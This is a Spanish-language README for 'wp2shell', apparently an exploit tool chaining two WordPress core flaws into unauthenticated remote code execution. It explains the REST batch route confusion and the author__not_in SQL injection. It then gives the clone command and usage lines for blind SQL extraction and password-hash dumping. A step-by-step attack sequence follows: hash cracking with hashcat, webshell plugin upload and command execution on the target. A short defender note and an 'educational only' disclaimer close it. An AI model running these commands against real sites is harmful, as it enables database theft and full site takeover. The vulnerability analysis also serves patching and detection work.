
Ejecución remota de código no autenticada (RCE) en el núcleo de WordPress permite a los atacantes ejecutar código arbitrario sin iniciar sesión encadenando CVE-2026-63030 y CVE-2026-60137, lo que potencialmente lleva a un compromiso total del sitio.
Ejecución remota de código no autenticada para WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell es un exploit para una cadena de vulnerabilidades críticas en el núcleo de WordPress. Encadena un error de confusión de ruta por lotes de la API REST con una inyección SQL en WP_Query para lograr ejecución remota de código no autenticada en instalaciones de WordPress vulnerables.
| Detalle | Información |
|---|
| CVEs | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (author__not_in SQLi) |
| Afectado | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Parcheado | 6.9.5, 7.0.2 |
| Autenticación requerida | Ninguna — no autenticado |
| CVSS | Crítica (cadena de RCE) |
| Descubierto por | Adam Kues (Assetnote / Searchlight Cyber) |
| Dependencias | Python 3.8+ — solo biblioteca estándar |
El exploit encadena dos errores en el núcleo de WordPress:
CVE-2026-60137 — Inyección SQL – Cuando author__not_in se pasa como una cadena en lugar de un array, WordPress omite la protección de sanitización is_array() e interpola el valor crudo en una cláusula SQL NOT IN (...).
CVE-2026-63030 — Confusión de ruta por lotes – El endpoint /wp-json/batch/v1 construye arrays paralelos $matches y $validation. Una sub-solicitud malformada se añade a $validation pero no a $matches, causando un desplazamiento de índice de +1. La sub-solicitud i se envía con el controlador de la sub-solicitud i+1.
Encadenados: Una solicitud POST /wp/v2/posts que lleva una solicitud interna GET /wp/v2/users con una cadena author_exclude elude tanto la lista blanca de métodos como la sanitización de entrada. La cadena llega a WP_Query como author__not_in y se interpola en SQL — otorgándole inyección SQL ciega no autenticada.
A partir de ahí, la herramienta puede:
| Característica | Descripción |
|---|---|
| Verificación de vulnerabilidad | Sonda de retardo temporal segura — no lee datos, no cambia nada |
| Extracción de datos | Inyección SQL ciega con optimización de búsqueda binaria para extracción eficiente |
| Volcado de hashes de usuarios | Extrae los hashes de user_login y user_pass de wp_users |
| Ejecución remota de código | Autenticarse como admin, subir un plugin webshell, ejecutar comandos |
| Shell interactiva | Sesión persistente de ejecución de comandos |
| Salida coloreada | Retroalimentación visual clara para resultados de escaneo |
| Sin dependencias | Usa solo la biblioteca estándar de Python |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
Eso es todo. No se requieren paquetes de terceros.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Lanza un menú interactivo con toda la funcionalidad disponible mediante opciones numeradas.
check — Confirmar vulnerabilidad (seguro)Realiza una sonda de retardo temporal para confirmar explotabilidad. No lee datos y no cambia nada.
./wp2shell.py http://target.com check
read — Extraer datos (inyección SQL ciega)Extrae información de la base de datos mediante inyección SQL ciega basada en tiempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Ejecución remota de códigoRequiere credenciales de administrador válidas. La inyección SQL puede recuperar el hash de la contraseña, pero debe proporcionar la contraseña en texto plano recuperada.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| Opción | Descripción |
|---|---|
--users | Extrae user_login y user_pass de wp_users |
--database | Extrae el nombre de la base de datos actual |
--version | Extrae la versión de MySQL |
--query "SQL" | Ejecuta una consulta SQL personalizada (extracción ciega) |
--user USUARIO | Nombre de usuario administrador para RCE |
--password CONTRASEÑA | Contraseña del administrador para RCE (texto plano, recuperada mediante SQLi) |
--cmd COMANDO | Comando a ejecutar a través del webshell |
# 1. Verificar si el objetivo es vulnerable
./wp2shell.py https://example.com check
# 2. Extraer hashes de contraseñas de administradores
./wp2shell.py https://example.com read --users
# 3. Descifrar el hash offline (usando hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Ejecutar un comando con la contraseña recuperada
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Rama | Afectado | Parcheado |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (solo SQLi, sin RCE) | 6.8.6 |
Las versiones anteriores a 6.9.0 no están afectadas por la cadena completa de RCE.
Para defensores:
POST /wp-json/batch/v1 con cuerpos requests anidados404 en la ruta por lotes no siempre significa "parcheado" — también puede significar que un WAF/CDN está bloqueando el acceso anónimo a la API RESTEsta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas.